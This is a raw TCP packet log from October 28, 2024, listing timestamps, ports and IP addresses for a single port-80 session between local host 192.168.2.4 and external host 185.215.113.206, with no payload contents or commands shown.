Oct 28, 2024 06:27:06.959239960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.959291935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.043745041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043783903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043801069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043823957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043840885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043857098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043870926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043889046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.043891907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.043978930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044140100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044190884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044189930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044225931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044255972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044260979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044274092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044296980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044305086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044353962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044579029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044630051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044634104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044670105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044697046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044720888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044727087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044771910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044783115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044806004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044822931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044841051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044848919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044876099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044902086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044905901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.044922113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.044949055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.045459032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.045489073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.045520067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.045538902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.045541048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.045576096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.045583963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.045613050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.045636892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.045658112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076481104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076558113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076559067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076597929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076603889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076653004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076653957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076689005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076695919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076725960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076756001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076761961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076773882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076798916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076805115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076833963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076839924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076869011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076881886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076905966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076916933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.076942921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.076956987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077001095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077205896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077239990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077255011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077275991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077297926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077311993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077325106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077348948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077374935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077382088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077399015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077420950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077429056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077451944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077486992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077507019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077883959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077919960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077948093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.077971935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.077979088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.078006983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.078042030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.078063011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.078088999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.078088999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.162631035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162658930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162676096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162692070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162708044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162724972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162739992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162755013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162874937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.162934065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.162985086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163034916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163072109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163099051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163110018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163120031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163207054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163372040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163408041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163439989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163441896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163458109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163477898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163491964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163513899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163530111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163551092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163567066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163598061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163877010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163929939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163933039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.163965940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.163992882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164000988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164036989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164041996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164067030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164100885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164352894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164387941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164416075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164426088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164434910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164460897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.164486885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.164511919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195025921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195059061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195111036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195143938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195162058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195168972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195198059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195231915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195235014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195257902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195267916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195302963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195328951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195328951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195363045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195602894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195632935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195661068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195689917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195750952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195785999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195801973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195822001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195847988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195868015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.195947886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.195998907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196000099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196033955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196053982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196068048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196090937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196104050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196130037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196147919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196464062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196513891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196518898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196549892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196564913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196583986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196599007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196624994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196635962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196671963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196707010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196732044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196741104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196753025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196777105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.196801901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.196824074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.197230101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.197259903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.197287083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.197319031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283406973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283447027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283499956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283534050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283567905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283569098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283601999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283657074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283657074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283675909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283727884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283885002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283915043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.283942938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.283971071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284006119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284015894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284039974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284046888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284075975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284104109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284213066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284246922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284274101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284281969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284293890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284324884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284396887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284430027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284459114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284463882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284477949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284502983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284558058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284594059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284610033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284636974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.284934044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284967899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.284993887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285017014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285089016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285121918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285150051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285155058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285166025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285190105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285223007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285223961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285249949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285260916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285264015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285290956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285306931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285331964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285810947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285840034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.285887003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.285887003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314604044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314729929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314738989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314763069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314779043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314794064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314798117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314810991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314826965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314834118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314843893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314857960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314872026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314887047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314884901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314902067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314908028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314918041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314932108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314948082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314954042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314970970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314979076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.314986944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.314997911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315004110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315018892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315032959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315047979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315078020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315133095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315329075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315355062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315375090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315377951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315391064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315408945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315409899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315447092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315728903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315743923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315757036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.315768003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.315804005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.363668919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.363692045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.363811970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401252031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401269913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401287079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401302099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401318073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401334047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401364088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401371002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401496887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401545048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401559114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401572943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401588917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401592970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401604891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401609898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401622057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401638031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401647091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401653051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401668072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401674986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401684046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.401693106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.401725054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402056932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402070999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402086020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402101040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:07.402103901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:07.402143002 CET	49730	80	192.168.2.4	185.215.113.206
